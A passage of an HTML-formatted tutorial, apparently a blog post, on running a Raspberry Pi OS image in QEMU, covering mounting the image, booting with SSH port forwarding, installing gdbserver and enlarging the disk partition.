Units:&lt;span class="w"&gt; &lt;/span&gt;sectors&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Sector&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;logical/physical&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
I/O&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;minimum/optimal&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Disklabel&lt;span class="w"&gt; &lt;/span&gt;type:&lt;span class="w"&gt; &lt;/span&gt;dos
Disk&lt;span class="w"&gt; &lt;/span&gt;identifier:&lt;span class="w"&gt; &lt;/span&gt;0x067e19d7

Device&lt;span class="w"&gt;                                    &lt;/span&gt;Boot&lt;span class="w"&gt;  &lt;/span&gt;Start&lt;span class="w"&gt;     &lt;/span&gt;End&lt;span class="w"&gt; &lt;/span&gt;Sectors&lt;span class="w"&gt; &lt;/span&gt;Size&lt;span class="w"&gt; &lt;/span&gt;Id&lt;span class="w"&gt; &lt;/span&gt;Type
&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img1&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="m"&gt;8192&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;532479&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;524288&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;256M&lt;span class="w"&gt;  &lt;/span&gt;c&lt;span class="w"&gt; &lt;/span&gt;W95&lt;span class="w"&gt; &lt;/span&gt;FAT32&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;LBA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img2&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;532480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3629055&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3096576&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.5G&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;83&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mount the second partition. Because the file has 2 partitions, we need to set the offset where the second starts: the start sector number multiplied by the size of each sector in bytes.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="m"&gt;532480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;ext4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img&lt;span class="w"&gt; &lt;/span&gt;~/mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CldoeSB3ZSBuZWVkIHRvIGRvIHRoaXM/IE5vIGlkZWEuIE1heSBiZSBpcyByZWxhdGVkIHdpdGgKW3RoaXNdKGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQ1MjUzNzU1L3doeS1pcy10aGUtc3RhY2stc2VnbWVudC1leGVjdXRhYmxlLW9uLXJhc3BiZXJyeS1waSkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldoeSB3ZSBuZWVkIHRvIGRvIHRoaXM/IE5vIGlkZWEuIE1heSBiZSBpcyByZWxhdGVkIHdpdGgKW3RoaXNdKGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQ1MjUzNzU1L3doeS1pcy10aGUtc3RhY2stc2VnbWVudC1leGVjdXRhYmxlLW9uLXJhc3BiZXJyeS1waSkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Why we need to do this? No idea. May be is related with &lt;a href="https://stackoverflow.com/questions/45253755/why-is-the-stack-segment-executable-on-raspberry-pi"&gt;this&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Comment out any entry of &lt;code&gt;ld.so.preload&lt;/code&gt; adding a &lt;code&gt;#&lt;/code&gt; at the begin of each line.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;~/mnt/etc/ld.so.preload
/usr/lib/arm-linux-gnueabihf/libarmmem-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PLATFORM&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.so

$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s/^.*$/#\0/&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/mnt/etc/ld.so.preload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Check the &lt;code&gt;fstab&lt;/code&gt;. Replace &lt;code&gt;/dev/mmcblk0p1&lt;/code&gt; and &lt;code&gt;/dev/mmcblk0p2&lt;/code&gt; with &lt;code&gt;/dev/sda1&lt;/code&gt; and &lt;code&gt;/dev/sda2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In my case there are not explicit names like &lt;code&gt;/dev/mmcblk0p1&lt;/code&gt;. Instead, there are UUIDs so I didn’t touch them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~/mnt/etc/fstab
proc                  /proc    proc    defaults             0   0
PARTUUID=067e19d7-01  /boot    vfat    defaults             0   2
PARTUUID=067e19d7-02  /        ext4    defaults,noatime     0   1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are done.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;~/mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now it is show time!&lt;/p&gt;
&lt;h2 id="running-the-os"&gt;Running the OS&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;qemu-system-arm&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-M&lt;span class="w"&gt; &lt;/span&gt;versatilepb&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-cpu&lt;span class="w"&gt; &lt;/span&gt;arm1176&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;256&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-drive&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;file=2020-12-02-raspios-buster-armhf-lite.img,if=none,index=0,media=disk,format=raw,id=disk0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-device&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;virtio-blk-pci,drive=disk0,disable-modern=on,disable-legacy=off&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-net&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;user,hostfwd=tcp::3022-:22&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-dtb&lt;span class="w"&gt; &lt;/span&gt;versatile-pb-buster-5.4.51.dtb&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-kernel&lt;span class="w"&gt; &lt;/span&gt;kernel-qemu-5.4.51-buster&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-append&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root=/dev/vda2 panic=1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-no-reboot&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-net&lt;span class="w"&gt; &lt;/span&gt;nic&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-nographic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;hostfwd=tcp::3022-:22&lt;/code&gt; tells QEMU to forward TCP connections to the 3022 port from the host to the 22 port on the guest side. More forward rules can be added.&lt;/p&gt;
&lt;p&gt;Enable ssh (now and on boot); login with &lt;code&gt;pi&lt;/code&gt;/&lt;code&gt;raspberry&lt;/code&gt;. This will allows us to upload/retrieve files to the vm and have additional consoles.&lt;/p&gt;
&lt;pre class="ssh"&gt;&lt;code&gt;$ sudo service ssh start
$ sudo update-rc.d ssh enable&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, from your host connect to the vm through the port 3022.&lt;/p&gt;
&lt;p&gt;Install &lt;code&gt;gdbserver&lt;/code&gt; for remote debugging:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;gdbserver
Reading&lt;span class="w"&gt; &lt;/span&gt;package&lt;span class="w"&gt; &lt;/span&gt;lists...&lt;span class="w"&gt; &lt;/span&gt;Done
Building&lt;span class="w"&gt; &lt;/span&gt;dependency&lt;span class="w"&gt; &lt;/span&gt;tree
Reading&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;information...&lt;span class="w"&gt; &lt;/span&gt;Done
The&lt;span class="w"&gt; &lt;/span&gt;following&lt;span class="w"&gt; &lt;/span&gt;NEW&lt;span class="w"&gt; &lt;/span&gt;packages&lt;span class="w"&gt; &lt;/span&gt;will&lt;span class="w"&gt; &lt;/span&gt;be&lt;span class="w"&gt; &lt;/span&gt;installed:
&lt;span class="w"&gt;  &lt;/span&gt;gdbserver
&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;upgraded,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;newly&lt;span class="w"&gt; &lt;/span&gt;installed,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;remove&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;upgraded.
&amp;lt;...&amp;gt;
Preparing&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;unpack&lt;span class="w"&gt; &lt;/span&gt;.../gdbserver_8.2.1-2_armhf.deb&lt;span class="w"&gt; &lt;/span&gt;...
Unpacking&lt;span class="w"&gt; &lt;/span&gt;gdbserver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.2.1-2&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;...
Setting&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;gdbserver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.2.1-2&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="enlarge-the-disk"&gt;Enlarge the disk&lt;/h2&gt;
&lt;p&gt;Optionally, you can expand the disk image to have more room for your programs.&lt;/p&gt;
&lt;p&gt;First, with QEMU turned off, expand the disk image&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;qemu-img&lt;span class="w"&gt; &lt;/span&gt;resize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img&lt;span class="w"&gt; &lt;/span&gt;+1G
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, turn on the vm and redefine the partition. In my case is the partition number 2 (&lt;code&gt;/dev/vda2&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;/dev/vda

Command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;p
Disk&lt;span class="w"&gt; &lt;/span&gt;/dev/vda:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.7&lt;span class="w"&gt; &lt;/span&gt;GiB,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2931818496&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5726208&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sectors
Units:&lt;span class="w"&gt; &lt;/span&gt;sectors&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Sector&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;logical/physical&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
I/O&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;minimum/optimal&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Disklabel&lt;span class="w"&gt; &lt;/span&gt;type:&lt;span class="w"&gt; &lt;/span&gt;dos
Disk&lt;span class="w"&gt; &lt;/span&gt;identifier:&lt;span class="w"&gt; &lt;/span&gt;0x067e19d7

Device&lt;span class="w"&gt;     &lt;/span&gt;Boot&lt;span class="w"&gt;  &lt;/span&gt;Start&lt;span class="w"&gt;     &lt;/span&gt;End&lt;span class="w"&gt; &lt;/span&gt;Sectors&lt;span class="w"&gt;  &lt;/span&gt;Size&lt;span class="w"&gt; &lt;/span&gt;Id&lt;span class="w"&gt; &lt;/span&gt;Type
/dev/vda1&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="m"&gt;8192&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;532479&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;524288&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;256M&lt;span class="w"&gt;  &lt;/span&gt;c&lt;span class="w"&gt; &lt;/span&gt;W95&lt;span class="w"&gt; &lt;/span&gt;FAT32&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;LBA&lt;span class="o"&gt;)&lt;/span&gt;
/dev/vda2&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="m"&gt;532480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3629055&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3096576&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.5G&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;83&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Linux

Command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;d
Partition&lt;span class="w"&gt; &lt;/span&gt;number&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,2,&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;

Partition&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;has&lt;span class="w"&gt; &lt;/span&gt;been&lt;span class="w"&gt; &lt;/span&gt;deleted.

Command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;n
Partition&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;p&lt;span class="w"&gt;   &lt;/span&gt;primary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;primary,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;extended,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;free&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;e&lt;span class="w"&gt;   &lt;/span&gt;extended&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;logical&lt;span class="w"&gt; &lt;/span&gt;partitions&lt;span class="o"&gt;)&lt;/span&gt;
Select&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;p&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;p
Partition&lt;span class="w"&gt; &lt;/span&gt;number&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;-4,&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
First&lt;span class="w"&gt; &lt;/span&gt;sector&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2048&lt;/span&gt;-5726207,&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2048&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;532480&lt;/span&gt;
Last&lt;span class="w"&gt; &lt;/span&gt;sector,&lt;span class="w"&gt; &lt;/span&gt;+/-sectors&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;+/-size&lt;span class="o"&gt;{&lt;/span&gt;K,M,G,T,P&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;532480&lt;/span&gt;-5726207,&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5726207&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:

Created&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;partition&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Linux&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.5&lt;span class="w"&gt; &lt;/span&gt;GiB.
Partition&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2 contains a ext4 signature.&lt;/span&gt;

Do&lt;span class="w"&gt; &lt;/span&gt;you&lt;span class="w"&gt; &lt;/span&gt;want&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;remove&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;signature?&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;Y&lt;span class="o"&gt;]&lt;/span&gt;es/&lt;span class="o"&gt;[&lt;/span&gt;N&lt;span class="o"&gt;]&lt;/span&gt;o:&lt;span class="w"&gt; &lt;/span&gt;n

Command&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;w

The&lt;span class="w"&gt; &lt;/span&gt;partition&lt;span class="w"&gt; &lt;/span&gt;table&lt;span class="w"&gt; &lt;/span&gt;has&lt;span class="w"&gt; &lt;/span&gt;been&lt;span class="w"&gt; &lt;/span&gt;altered.
Syncing&lt;span class="w"&gt; &lt;/span&gt;disks.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note that &lt;code&gt;fdisk&lt;/code&gt; offered by default the first sector to be 2048. This is the space &lt;em&gt;before&lt;/em&gt; &lt;code&gt;/dev/vda1&lt;/code&gt; and it is too small, only 8kb.&lt;/p&gt;
&lt;p&gt;Instead we want to start &lt;em&gt;after&lt;/em&gt; &lt;code&gt;/dev/vda1&lt;/code&gt;, in the same sector that the original &lt;code&gt;/dev/vda2&lt;/code&gt;: the 532480.&lt;/p&gt;
&lt;p&gt;From there, to the end of the disk: 5726207.&lt;/p&gt;
&lt;p&gt;With the partition expanded, reboot and then update the filesystem:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;resize2fs&lt;span class="w"&gt; &lt;/span&gt;/dev/vda2
resize2fs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.44.5&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;-Dec-2018&lt;span class="o"&gt;)&lt;/span&gt;
Filesystem&lt;span class="w"&gt; &lt;/span&gt;at&lt;span class="w"&gt; &lt;/span&gt;/dev/vda2&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;mounted&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;on-line&lt;span class="w"&gt; &lt;/span&gt;resizing&lt;span class="w"&gt; &lt;/span&gt;required
